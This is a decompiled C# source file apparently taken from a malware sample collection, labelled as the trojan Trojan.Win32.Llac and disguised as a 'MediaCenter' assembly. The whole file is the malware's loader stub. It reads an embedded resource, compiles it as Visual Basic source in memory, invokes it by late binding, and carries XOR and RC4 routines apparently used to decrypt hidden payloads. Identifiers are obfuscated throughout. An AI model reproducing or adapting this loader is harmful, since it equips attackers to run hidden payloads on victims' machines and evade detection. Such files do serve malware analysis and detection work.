MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691/nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.cs
2022-08-18 06:28:56 -05:00

211 lines
9.1 KiB
C#

// Decompiled with JetBrains decompiler
// Type: nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw
// Assembly: MediaCenter, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 9CB28436-6FDA-4940-BDC5-3A9371F095D5
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aago-7b0037159a6032a2440d56a8294d0ffc93d733cd9279b7c9ce36f4709245a691.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
[StandardModule]
internal sealed class nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw
{
private static bool zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe = false;
[STAThread]
public static void Main()
{
if (nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe)
{
int num = (int) Interaction.MsgBox((object) "hsKYghrPKnoVcuDsYTUSXIPWmONdTWNmPuraOjZQeoXXKKltHi");
}
string nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName = "wzrRfYJqsNpuITnBoaCYXygxjnOozt";
nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.QqCvOLiEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJO(nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.iEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUtt().Replace("\"__PATH__\"", "\"" + Assembly.GetExecutingAssembly().Location + "\""), nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName);
}
public static string iEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUtt()
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string manifestResourceName = executingAssembly.GetManifestResourceNames()[0];
Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(manifestResourceName);
return manifestResourceStream == null ? "" : new StreamReader(manifestResourceStream).ReadToEnd();
}
private static CompilerResults mMbUEloJlpEOjwjWwTSuctfjJjuoHEawVNJVmBWKTqlPRxSXfV(
CompilerParameters BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal,
string DRZajIDfhOUnvlRMNLQBIPfHGWMOGfImkTHbSJXhQPDDemybua)
{
CompilerResults compilerResults;
try
{
VBCodeProvider vbCodeProvider = new VBCodeProvider();
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.GenerateExecutable = false;
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("System.dll");
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("System.Windows.Forms.dll");
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("System.Data.dll");
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
compilerResults = vbCodeProvider.CompileAssemblyFromSource(BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal, DRZajIDfhOUnvlRMNLQBIPfHGWMOGfImkTHbSJXhQPDDemybua);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception exception = ex;
if (nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe)
{
int num = (int) Interaction.MsgBox((object) exception.Message);
}
ProjectData.ClearProjectError();
}
return compilerResults;
}
private static void QqCvOLiEcURctIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJO(
string IYcfWvYDnjXsiZnxggTGgDQeLdPTsgeYqnKgFLHSVkGHRaVyPh,
string nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName)
{
CompilerParameters BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal = new CompilerParameters();
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.GenerateInMemory = true;
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.IncludeDebugInformation = false;
BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal.TreatWarningsAsErrors = false;
try
{
nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.pPdWHoqLnsGDlyYYzIVwRvUlMmxrKsQzKQMYoELNWtoSUBHaiX((object) nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.mMbUEloJlpEOjwjWwTSuctfjJjuoHEawVNJVmBWKTqlPRxSXfV(BKKJNkrydppFJMEcrkUCFZCGURzNmmOWiLeKhzZzLFXHdNYdal, IYcfWvYDnjXsiZnxggTGgDQeLdPTsgeYqnKgFLHSVkGHRaVyPh).CompiledAssembly.GetType(nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggwName));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception exception = ex;
if (nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.zDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURctIdRaytWYFZe)
{
int num = (int) Interaction.MsgBox((object) exception.Message);
}
ProjectData.ClearProjectError();
}
}
private static void pPdWHoqLnsGDlyYYzIVwRvUlMmxrKsQzKQMYoELNWtoSUBHaiX(
object XcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmvwuzXdk)
{
BindingFlags bindingFlags1 = BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod;
object Instance = XcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmvwuzXdk;
object[] objArray = new object[5]
{
(object) "MJfCaSOZqGbPYvqUWDWckZFOPNSpvD",
(object) bindingFlags1,
(object) null,
(object) null,
(object) null
};
object[] Arguments = objArray;
bool[] flagArray = new bool[5]
{
false,
true,
false,
false,
false
};
bool[] CopyBack = flagArray;
NewLateBinding.LateCall(Instance, (Type) null, "InvokeMember", Arguments, (string[]) null, (Type[]) null, CopyBack, true);
if (!flagArray[1])
return;
BindingFlags bindingFlags2 = (BindingFlags) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (BindingFlags));
}
public class rBBzEpipUggwzDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURc
{
public static string NGpYauXcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmv(
string DataIn,
string CodeKey)
{
long num = (long) Strings.Len(DataIn);
long Start = 1;
string str;
while (Start <= num)
{
string Expression = Conversion.Hex(Strings.Asc(Strings.Mid(DataIn, checked ((int) Start), 1)) ^ Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (Start % (long) Strings.Len(CodeKey)) + 1L)), 1)));
if (Strings.Len(Expression) == 1)
Expression = "0" + Expression;
str += Expression;
checked { ++Start; }
}
return str;
}
public static string tIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlR(
string DataIn,
string CodeKey)
{
long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(DataIn) / 2.0)));
long num2 = 1;
string str;
while (num2 <= num1)
{
int num3 = checked ((int) Math.Round(Conversion.Val("&H" + Strings.Mid(DataIn, (int) (2L * num2 - 1L), 2))));
int num4 = Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (num2 % (long) Strings.Len(CodeKey)) + 1L)), 1));
str += Conversions.ToString(Strings.Chr(num3 ^ num4));
checked { ++num2; }
}
return str;
}
public static byte[] NGpYauXcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmv(
byte[] Input,
string Key)
{
return nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.rBBzEpipUggwzDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURc.Proper_RC4(Input, Encoding.Default.GetBytes(Key));
}
public static byte[] tIdRaytWYFZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlR(
byte[] Input,
string Key)
{
return nnaNoKXlTkWazolfxuSnMSOadrNPYicGWoJcWMrBBzEpipUggw.rBBzEpipUggwzDuTibLsvQswLVqEqdFbZCjBmqQqCvOLiEcURc.NGpYauXcpzViWIjGFgOfRVvWhbtqNiHzvHYnJvGdYCEjEKSHmv(Input, Key);
}
public static byte[] Proper_RC4(byte[] Input, byte[] Key)
{
uint[] numArray1 = new uint[256];
byte[] numArray2 = new byte[checked (Input.Length - 1 + 1)];
uint index1 = 0;
do
{
numArray1[checked ((int) index1)] = index1;
checked { ++index1; }
}
while (index1 <= (uint) byte.MaxValue);
uint index2 = 0;
do
{
uint index3 = checked ((uint) ((long) (index3 + (uint) Key[(int) unchecked ((long) index2 % (long) Key.Length)] + numArray1[(int) index2]) & (long) byte.MaxValue));
uint num = numArray1[checked ((int) index2)];
numArray1[checked ((int) index2)] = numArray1[checked ((int) index3)];
numArray1[checked ((int) index3)] = num;
checked { ++index2; }
}
while (index2 <= (uint) byte.MaxValue);
uint index4 = 0;
uint index5 = 0;
int num1 = checked (numArray2.Length - 1);
int index6 = 0;
while (index6 <= num1)
{
index4 = checked ((uint) ((long) index4 + 1L & (long) byte.MaxValue));
index5 = checked ((uint) ((long) (index5 + numArray1[(int) index4]) & (long) byte.MaxValue));
uint num2 = numArray1[checked ((int) index4)];
numArray1[checked ((int) index4)] = numArray1[checked ((int) index5)];
numArray1[checked ((int) index5)] = num2;
numArray2[index6] = checked ((byte) ((int) Input[index6] ^ unchecked ((int) numArray1[checked ((int) ((long) (numArray1[(int) index4] + numArray1[(int) index5]) & (long) byte.MaxValue))])));
checked { ++index6; }
}
return numArray2;
}
}
}